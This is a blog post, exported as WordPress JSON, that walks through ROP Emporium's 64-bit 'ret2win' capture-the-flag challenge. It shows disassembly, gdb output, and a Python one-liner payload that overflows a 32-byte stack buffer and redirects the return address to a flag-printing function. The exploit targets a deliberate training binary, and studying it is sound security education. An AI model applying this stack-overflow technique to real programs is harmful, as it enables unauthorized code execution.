{"id":57,"date":"2019-02-14T13:35:41","date_gmt":"2019-02-14T13:35:41","guid":{"rendered":"http:\/\/robertmccallum.nl\/?p=57"},"modified":"2019-02-14T21:57:42","modified_gmt":"2019-02-14T21:57:42","slug":"playing-with-rop-part1","status":"publish","type":"post","link":"http:\/\/robertmccallum.nl\/index.php\/2019\/02\/14\/playing-with-rop-part1\/","title":{"rendered":"Playing with ROP part1"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\">What are ROP chains?.<\/h2>\n\n\n\n<p>To understand what a ROP chain is you frist need to know what ROP means.<\/p>\n\n\n\n<p>ROP stands for Return oriented programming.<\/p>\n\n\n\n<p>When a program calls a function it wil push the address from where it was called on the stack. When the functions is finished it pops the address and returns there.<\/p>\n\n\n\n<p>A ROP Chain is a chain consisting of values and return addresses that a attacker might use to manipulate a program to do what he wants it to do.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Time to get our hands dirty <\/h2>\n\n\n\n<p>Writing about gadgets and ROP chains without an example to show is kinda boring.  lets walk trough the &#8220;64bit ret2win&#8221; challenge you can find at . <a href=\"https:\/\/ropemporium.com\/\">https:\/\/ropemporium.com\/<\/a><\/p>\n\n\n\n<p>In this challenge the objective is quite simple, there is a function we need to call &#8216;ret2win&#8217; and it will print us a flag.<\/p>\n\n\n\n<h5 class=\"wp-block-heading\">Disassemble time.<\/h5>\n\n\n\n<p>lets open the binary in hopper to see what we are dealing with.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"> ; ================ B E G I N N I N G   O F   P R O C E D U R E ================\n\n\n                            main:\n0000000000400746 55                     push       rbp                          ; Begin of unwind block (FDE at 0x400acc), DATA XREF=_start+29\n0000000000400747 4889E5                 mov        rbp, rsp\n000000000040074a 488B050F092000         mov        rax, qword [__TMC_END__]     ; __TMC_END__\n0000000000400751 B900000000             mov        ecx, 0x0                     ; argument \"__n\" for method j_setvbuf\n0000000000400756 BA02000000             mov        edx, 0x2                     ; argument \"__modes\" for method j_setvbuf\n000000000040075b BE00000000             mov        esi, 0x0                     ; argument \"__buf\" for method j_setvbuf\n0000000000400760 4889C7                 mov        rdi, rax                     ; argument \"__stream\" for method j_setvbuf\n0000000000400763 E8C8FEFFFF             call       j_setvbuf                    ; setvbuf\n0000000000400768 488B0511092000         mov        rax, qword [stderr@@GLIBC_2.2.5] ; stderr@@GLIBC_2.2.5\n000000000040076f B900000000             mov        ecx, 0x0                     ; argument \"__n\" for method j_setvbuf\n0000000000400774 BA02000000             mov        edx, 0x2                     ; argument \"__modes\" for method j_setvbuf\n0000000000400779 BE00000000             mov        esi, 0x0                     ; argument \"__buf\" for method j_setvbuf\n000000000040077e 4889C7                 mov        rdi, rax                     ; argument \"__stream\" for method j_setvbuf\n0000000000400781 E8AAFEFFFF             call       j_setvbuf                    ; setvbuf\n0000000000400786 BFC8084000             mov        edi, aRet2winByRopEm         ; argument \"__s\" for method j_puts, \"ret2win by ROP Emporium\"\n000000000040078b E840FEFFFF             call       j_puts                       ; puts\n0000000000400790 BFE0084000             mov        edi, a64bitsn                ; argument \"__s\" for method j_puts, \"64bits\\\\n\"\n0000000000400795 E836FEFFFF             call       j_puts                       ; puts\n000000000040079a B800000000             mov        eax, 0x0\n000000000040079f E811000000             call       pwnme                        ; pwnme\n00000000004007a4 BFE8084000             mov        edi, aNexiting               ; argument \"__s\" for method j_puts, \"\\\\nExiting\"\n00000000004007a9 E822FEFFFF             call       j_puts                       ; puts\n00000000004007ae B800000000             mov        eax, 0x0\n00000000004007b3 5D                     pop        rbp\n00000000004007b4 C3                     ret\n                ; endp\n\n\n; ================ B E G I N N I N G   O F   P R O C E D U R E ================\n\n; Variables:\n;    var_20: int8_t, -32\n\n\n                            pwnme:\n00000000004007b5 55                     push       rbp                          ; End of unwind block (FDE at 0x400acc), Begin of unwind block (FDE at 0x400aec), CODE XREF=main+89\n00000000004007b6 4889E5                 mov        rbp, rsp\n00000000004007b9 4883EC20               sub        rsp, 0x20\n00000000004007bd 488D45E0               lea        rax, qword [rbp+var_20]\n00000000004007c1 BA20000000             mov        edx, 0x20                    ; argument \"__n\" for method j_memset\n00000000004007c6 BE00000000             mov        esi, 0x0                     ; argument \"__c\" for method j_memset\n00000000004007cb 4889C7                 mov        rdi, rax                     ; argument \"__s\" for method j_memset\n00000000004007ce E82DFEFFFF             call       j_memset                     ; memset\n00000000004007d3 BFF8084000             mov        edi, aForMyFirstTric         ; argument \"__s\" for method j_puts, \"For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;\\\\nWhat could possibly go wrong?\"\n00000000004007d8 E8F3FDFFFF             call       j_puts                       ; puts\n00000000004007dd BF78094000             mov        edi, aYouThereMadamM         ; argument \"__s\" for method j_puts, \"You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!\\\\n\"\n00000000004007e2 E8E9FDFFFF             call       j_puts                       ; puts\n00000000004007e7 BFDD094000             mov        edi, 0x4009dd                ; argument \"__format\" for method j_printf\n00000000004007ec B800000000             mov        eax, 0x0\n00000000004007f1 E8FAFDFFFF             call       j_printf                     ; printf\n00000000004007f6 488B1573082000         mov        rdx, qword [stdin@@GLIBC_2.2.5] ; argument \"__stream\" for method j_fgets, stdin@@GLIBC_2.2.5\n00000000004007fd 488D45E0               lea        rax, qword [rbp+var_20]\n0000000000400801 BE32000000             mov        esi, 0x32                    ; argument \"__n\" for method j_fgets\n0000000000400806 4889C7                 mov        rdi, rax                     ; argument \"__s\" for method j_fgets\n0000000000400809 E812FEFFFF             call       j_fgets                      ; fgets\n000000000040080e 90                     nop\n000000000040080f C9                     leave\n0000000000400810 C3                     ret\n                ; endp\n\n\n; ================ B E G I N N I N G   O F   P R O C E D U R E ================\n\n\n                            ret2win:\n0000000000400811 55                     push       rbp                          ; End of unwind block (FDE at 0x400aec), Begin of unwind block (FDE at 0x400b0c)\n0000000000400812 4889E5                 mov        rbp, rsp\n0000000000400815 BFE0094000             mov        edi, aThankYouHeresY         ; argument \"__format\" for method j_printf, \"Thank you! Here's your flag:\"\n000000000040081a B800000000             mov        eax, 0x0\n000000000040081f E8CCFDFFFF             call       j_printf                     ; printf\n0000000000400824 BFFD094000             mov        edi, aBincatFlagtxt          ; argument \"__command\" for method j_system, \"\/bin\/cat flag.txt\"\n0000000000400829 E8B2FDFFFF             call       j_system                     ; system\n000000000040082e 90                     nop\n000000000040082f 5D                     pop        rbp\n0000000000400830 C3                     ret\n                ; endp\n0000000000400831                        align      64                           ; End of unwind block (FDE at 0x400b0c)\n<\/pre>\n\n\n\n<p>In the pwnme function there is a 0x20 byte stack buffer set by memset.<br>and 0x32 bytes written to it by fgets.<br><\/p>\n\n\n\n<p>Lets run it in gdb and feed it some bytes and see what happens.<br><\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\u2500\u2500\u2500 Output\/messages \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nret2win by ROP Emporium\n64bits\n\nFor my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;\nWhat could possibly go wrong?\nYou there madam, may I have your input please? And don't worry about null bytes, we're using fgets!\n\n&gt; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC\n\nProgram received signal SIGSEGV, Segmentation fault.\n\u2500\u2500\u2500 Assembly \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n0x0000000000400809 pwnme+84 call   0x400620 &lt;fgets@plt&gt;\n0x000000000040080e pwnme+89 nop\n0x000000000040080f pwnme+90 leave  \n0x0000000000400810 pwnme+91 ret    \n\u2500\u2500\u2500 Expressions \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\u2500\u2500\u2500 History \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\u2500\u2500\u2500 Memory \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\u2500\u2500\u2500 Registers \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n   rax 0x00007fffffffde90    rbx 0x0000000000000000    rcx 0x00000000fbad2288\n   rdx 0x00007fffffffde90    rsi 0x00007ffff7f9d8d0    rdi 0x00007fffffffde91\n   rbp 0x4242424242424242    rsp 0x00007fffffffdeb8     r8 0x0000000000602291\n    r9 0x00007ffff7f9d8c0    r10 0x00007ffff7fa2500    r11 0x0000000000000246\n   r12 0x0000000000400650    r13 0x00007fffffffdfa0    r14 0x0000000000000000\n   r15 0x0000000000000000    rip 0x0000000000400810 eflags [ PF ZF IF RF ]   \n    cs 0x00000033             ss 0x0000002b             ds 0x00000000        \n    es 0x00000000             fs 0x00000000             gs 0x00000000        \n\u2500\u2500\u2500 Source \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\u2500\u2500\u2500 Stack \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n[0] from 0x0000000000400810 in pwnme+91\n(no arguments)\n[1] from 0x4343434343434343\n(no arguments)\n[+]\n\u2500\u2500\u2500 Threads \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n[1] id 18823 name ret2win from 0x0000000000400810 in pwnme+91\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n0x0000000000400810 in pwnme ()\n&gt;&gt;&gt; \n<\/pre>\n\n\n\n<p>i send the string &#8216;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC&#8217; <br>as user input. and the program stopped with a segfault.<\/p>\n\n\n\n<p>The B&#8217;s are in the rbp register.<br>and the C&#8217;s are on the stack <\/p>\n\n\n\n<p>lets set a breakpoint at 0x400810 and have a look at the registers and the stack in when we don&#8217;t overflow the stack buffer.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">rax 0x00007fffffffde90    rbx 0x0000000000000000    rcx 0x00000000fbad2288<br>    rdx 0x00007fffffffde90    rsi 0x00007ffff7f9d8d0    rdi 0x00007fffffffde91<br>    rbp 0x00007fffffffdec0    rsp 0x00007fffffffdeb8     r8 0x000000000060226b<br>     r9 0x00007ffff7f9d8c0    r10 0x00007ffff7fa2500    r11 0x0000000000000246<br>    r12 0x0000000000400650    r13 0x00007fffffffdfa0    r14 0x0000000000000000<br>    r15 0x0000000000000000    rip 0x0000000000400810 eflags [ PF ZF IF ]      <br>     cs 0x00000033             ss 0x0000002b             ds 0x00000000        <br>     es 0x00000000             fs 0x00000000             gs 0x00000000        <br> \u2500\u2500\u2500 Source \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500<br> \u2500\u2500\u2500 Stack \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500<br> [0] from 0x0000000000400810 in pwnme+91<br> (no arguments)<br> [1] from 0x00000000004007a4 in main+94<br> (no arguments)<\/pre>\n\n\n\n<p>As you can see the value on the stack is the address right after were the function &#8216;pwnme&#8217; is called from.<\/p>\n\n\n\n<p>If we would now replace the C&#8217;s in &#8216;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC&#8217; with a valid executable address the program will return there instead of producing a segfault.<\/p>\n\n\n\n<h5 class=\"wp-block-heading\">making a payload<\/h5>\n\n\n\n<p>Lets construct a little payload.<br>The buffer I need to fill is  40 bytes (32 + 8 bytes that will end up in rpb)<br>and the address I want to return to is 0x400811<\/p>\n\n\n\n<p>The address needs to be written down in een Little endian format and padded with 0x00 to the length of 8 bytes.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">python -c \"print 'A'*40+'\\x11\\x08\\x40\\x00\\x00\\x00\\x00\\x00'\"<\/pre>\n\n\n\n<p>I could just pipe python&#8217;s output to ret2win&#8217;s input in a shell.  but then I wouldn&#8217;t be able to see what&#8217;s happening. <\/p>\n\n\n\n<p>So instead I do this from within GDB.  <\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">r &lt;&lt;&lt; $(python -c \"print 'A'*40+'\\x11\\x08\\x40\\x00\\x00\\x00\\x00\\x00'\")<br><\/pre>\n\n\n\n<p>It stops at the breakpoint I&#8217;ve had set before and I can see the address is were I want it to be.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\u2500\u2500\u2500 Stack \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500<br> [0] from 0x0000000000400810 in pwnme+91<br> (no arguments)<br> [1] from 0x000000000a400811<br> (no arguments)<br><\/pre>\n\n\n\n<p>Now I continue the execution of the program. <\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"> Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!} <br> Program received signal SIGSEGV, Segmentation fault.<br><\/pre>\n\n\n\n<p>I get an other segfault because the &#8216;ret2win&#8217; function can&#8217;t return.  But I don&#8217;t care about that, because I already have what I want.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">so what about the &#8216;chain&#8217;?<\/h2>\n\n\n\n<p>This Challenge wasn&#8217;t really solved with a ROPchain since there was no chain. <\/p>\n\n\n\n<p>But i explained the basics of ROP, I guess I&#8217;ll need to write a <a href=\"http:\/\/robertmccallum.nl\/index.php\/2019\/02\/14\/playing-with-rop-part2\/\">part2<\/a><br><br><\/p>\n","protected":false},"excerpt":{"rendered":"<p>What are ROP chains?. To understand what a ROP chain is you frist need to know what ROP means. ROP stands for Return oriented programming. When a program calls a function it wil push the address from where it was called on the stack. When the functions is finished it pops the address and returns &hellip; <a href=\"http:\/\/robertmccallum.nl\/index.php\/2019\/02\/14\/playing-with-rop-part1\/\" class=\"more-link\">Lees <span class=\"screen-reader-text\">&#8220;Playing with ROP part1&#8221;<\/span> verder<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[17,3],"tags":[15],"class_list":["post-57","post","type-post","status-publish","format-standard","hentry","category-ropemporium","category-writeups","tag-rop-chain"],"_links":{"self":[{"href":"http:\/\/robertmccallum.nl\/index.php\/wp-json\/wp\/v2\/posts\/57","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/robertmccallum.nl\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/robertmccallum.nl\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/robertmccallum.nl\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/robertmccallum.nl\/index.php\/wp-json\/wp\/v2\/comments?post=57"}],"version-history":[{"count":8,"href":"http:\/\/robertmccallum.nl\/index.php\/wp-json\/wp\/v2\/posts\/57\/revisions"}],"predecessor-version":[{"id":72,"href":"http:\/\/robertmccallum.nl\/index.php\/wp-json\/wp\/v2\/posts\/57\/revisions\/72"}],"wp:attachment":[{"href":"http:\/\/robertmccallum.nl\/index.php\/wp-json\/wp\/v2\/media?parent=57"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/robertmccallum.nl\/index.php\/wp-json\/wp\/v2\/categories?post=57"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/robertmccallum.nl\/index.php\/wp-json\/wp\/v2\/tags?post=57"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}